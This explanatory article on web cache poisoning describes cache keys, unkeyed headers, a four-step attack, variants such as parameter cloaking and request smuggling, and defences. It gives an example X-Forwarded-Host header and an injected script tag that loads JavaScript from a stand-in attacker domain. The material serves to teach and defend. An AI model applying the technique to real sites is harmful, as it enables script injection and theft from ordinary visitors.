Cache Poisoning: Manipulating Web Servers to Serve Malicious Payloads

To comprehend how a cache is poisoned, one must first understand exactly how a cache decides whether to serve a saved response or forward the request to the backend server.

The Concept of the Cache Key

When a web cache receives an HTTP request, it needs to determine if it already holds a valid response for that exact request. To do this, it extracts specific components from the incoming HTTP request to create a unique identifier, known as the "Cache Key."

Typically, the cache key comprises the components of the request that the cache administrators deem critical for identifying a unique resource. In almost all configurations, the cache key consists of:

1. The Request Line: The HTTP method (GET) and the specific URL path being requested (e.g., /images/logo.png).
2. The Host Header: The domain name of the requested resource (e.g., Host: www.example.com).

If a new request matches an existing cache key, the cache serves the saved response (a Cache Hit). If it does not match, the cache forwards the request to the backend server, saves the new response against the new key, and then serves it to the user (a Cache Miss).

Unkeyed Inputs: The Root of the Vulnerability

The vulnerability arises because HTTP requests contain far more information than just the path and the host. They contain dozens of other HTTP headers (like User-Agent, X-Forwarded-For, Origin, etc.) and sometimes query parameters.

Crucially, components of the request that are not included in the cache key are called "Unkeyed Inputs." The cache essentially ignores these unkeyed inputs when deciding whether to serve a cached response. However, the backend application server might not ignore them. If the backend application processes an unkeyed input and reflects it in the HTTP response, the foundation for cache poisoning is laid. The attacker can manipulate the unkeyed input to generate a malicious response, and because the input is unkeyed, the cache will save that malicious response under the standard, benign cache key, serving it to everyone.

Executing a cache poisoning attack is a precise, multi-step process. It requires identifying unkeyed inputs, eliciting a harmful response from the backend server, and ensuring the cache saves that specific response.

Step 1: Identifying Unkeyed Inputs

The first phase involves meticulous reconnaissance. The attacker sends numerous requests to the target application, systematically adding, modifying, and observing various HTTP headers. They use tools like Burp Suite's Param Miner extension to automate the discovery of hidden or non-standard headers that the backend application might process.

The goal is to find an input that meets two criteria:

1. It must be processed by the backend server and reflected in the HTTP response (e.g., changing a script tag, altering a canonical link, or modifying a redirect URL).
2. It must be completely ignored by the web cache (it must not be part of the cache key).

For example, an attacker might discover that adding an X-Forwarded-Host: attacker-domain.com header causes the backend server to dynamically generate an HTML page where a vital JavaScript file is loaded from attacker-domain.com instead of the legitimate server.

Step 2: Eliciting a Malicious Response

Once a suitable unkeyed input is found, the attacker crafts a specific payload. The objective is usually to execute Cross-Site Scripting (XSS) or to hijack the execution flow of the application.

Continuing the previous example, if the application dynamically generates a script tag based on the X-Forwarded-Host header:

<script src="https://[value_of_X-Forwarded-Host]/app.js"></script>

The attacker sends a request with the header set to their malicious server. The backend application, trusting this input, generates a response containing:

<script src="https://attacker-domain.com/app.js"></script>

This response is objectively malicious, as it instructs the browser to download and execute arbitrary JavaScript from an attacker-controlled domain.

Step 3: Poisoning the Cache

The final, critical step is getting the cache to save this malicious response. The attacker sends the crafted request (containing the unkeyed malicious header) to the target URL.

The web cache receives the request. It looks at the cache key (the URL path and the Host header). Since the cache is currently empty for this resource, or the previous cached entry just expired, it registers a Cache Miss. The cache forwards the entire request, including the attacker's malicious X-Forwarded-Host header, to the backend application.

The backend application generates the malicious response and sends it back to the cache. The cache receives the response. Because it is configured to cache this specific URL path, it saves the malicious response. Crucially, it saves it under the standard cache key (the URL and the legitimate Host header). The cache poisoning is now complete.

Step 4: The Exploitation Phase

Now, the trap is set. A legitimate user, completely unaware, visits the same URL path. Their browser sends a standard, benign HTTP request.

The cache receives the user's request. It examines the cache key (the URL and the Host header). It finds a match—the poisoned entry created by the attacker. Without consulting the backend server, the cache immediately serves the saved, malicious response to the user. The user's browser executes the malicious JavaScript payload, leading to session hijacking, data theft, or malware installation. The attacker has compromised the user without ever interacting with them directly.

While the fundamental concept remains the same, attackers utilize sophisticated techniques to bypass modern caching configurations and exploit complex application logic.

Cache Parameter Cloaking

Sometimes, specific query parameters are excluded from the cache key by administrators (often analytics parameters like ?utm_source=... that change frequently but don't alter the page content). If an attacker can find a vulnerability associated with an excluded parameter, they can poison the cache.

For instance, if ?q= is vulnerable to XSS but is included in the cache key, poisoning it only affects users who search for that exact malicious string. However, if the attacker can "cloak" the vulnerable parameter within an excluded parameter, they can poison the main page. This often involves exploiting parsing discrepancies between the cache and the backend server (e.g., using semicolons or specific encoding techniques that the cache ignores but the backend processes).

Exploiting HTTP Request Smuggling

In highly complex architectures, cache poisoning can be combined with HTTP Request Smuggling. Request smuggling exploits discrepancies in how the front-end server (the cache/load balancer) and the backend server determine the boundaries of an HTTP request (using Content-Length vs. Transfer-Encoding headers).

By smuggling a request, an attacker can append their malicious request directly onto the legitimate request of a completely different, random user. The backend server processes the attacker's smuggled request, generates a malicious response, and sends it back. The front-end cache, confused by the smuggled boundaries, might mistakenly associate this malicious response with the legitimate user's request, saving it into the cache under a benign cache key, effectively poisoning the system.

DOM-based Cache Poisoning

This variation does not deliver the XSS payload directly in the HTML response. Instead, the attacker poisons the cache with an unkeyed input that subtly alters the application state. When the legitimate user receives the poisoned response, their browser executes the site's legitimate, complex client-side JavaScript (e.g., a modern React or Angular app). The poisoned data causes this legitimate client-side code to execute in an unsafe manner, triggering a DOM-based XSS vulnerability. This technique is incredibly difficult to detect, as the malicious payload only executes dynamically within the user's browser environment.

Defending against web cache poisoning requires a fundamental shift in how developers treat HTTP requests and how administrators configure caching infrastructure. The core principle is recognizing that the cache and the backend application must be perfectly aligned in their understanding of the request.

Strict Control Over Unkeyed Inputs

The most effective defense is to completely eliminate the reliance on unkeyed inputs within the backend application logic. Developers must be deeply skeptical of all HTTP headers. The application should never use headers like X-Forwarded-Host, X-Original-URL, or arbitrary custom headers to generate crucial dynamic content, construct internal links, or dictate script sources, unless those specific headers are explicitly verified and sanitized.

Aligning the Cache Key with Application Logic

If the application absolutely must process a specific header and alter the response based on it, that header must be added to the cache key. This is known as "Varying" the cache.

If the application changes its language based on the Accept-Language header, the cache must be configured to include Accept-Language in its cache key (usually by utilizing the HTTP Vary: Accept-Language response header). This ensures that the cache stores separate versions of the response for English users and French users. If an attacker injects a malicious header, and that header is part of the cache key, they will only poison their own highly specific, malicious cache entry; legitimate users requesting the standard resource will not be affected.

Disabling Caching for Sensitive or Dynamic Content

Organizations must aggressively audit their caching rules. Caching should only be enabled for truly static content (images, CSS, generic Javascript files) or content that is identical for all users. Any endpoint that reflects user input, handles authentication, or generates highly dynamic HTML should explicitly instruct the cache not to store the response (using headers like Cache-Control: no-cache, no-store, must-revalidate).

Web Application Firewalls (WAF)

Deploying a robust Web Application Firewall provides a critical layer of defense. A WAF can be configured to inspect incoming requests for known malicious headers commonly used in cache poisoning attacks (like arbitrary X-Forwarded-Host headers). It can strip these headers from the request before they reach the cache or the backend application, neutralizing the attack vector entirely.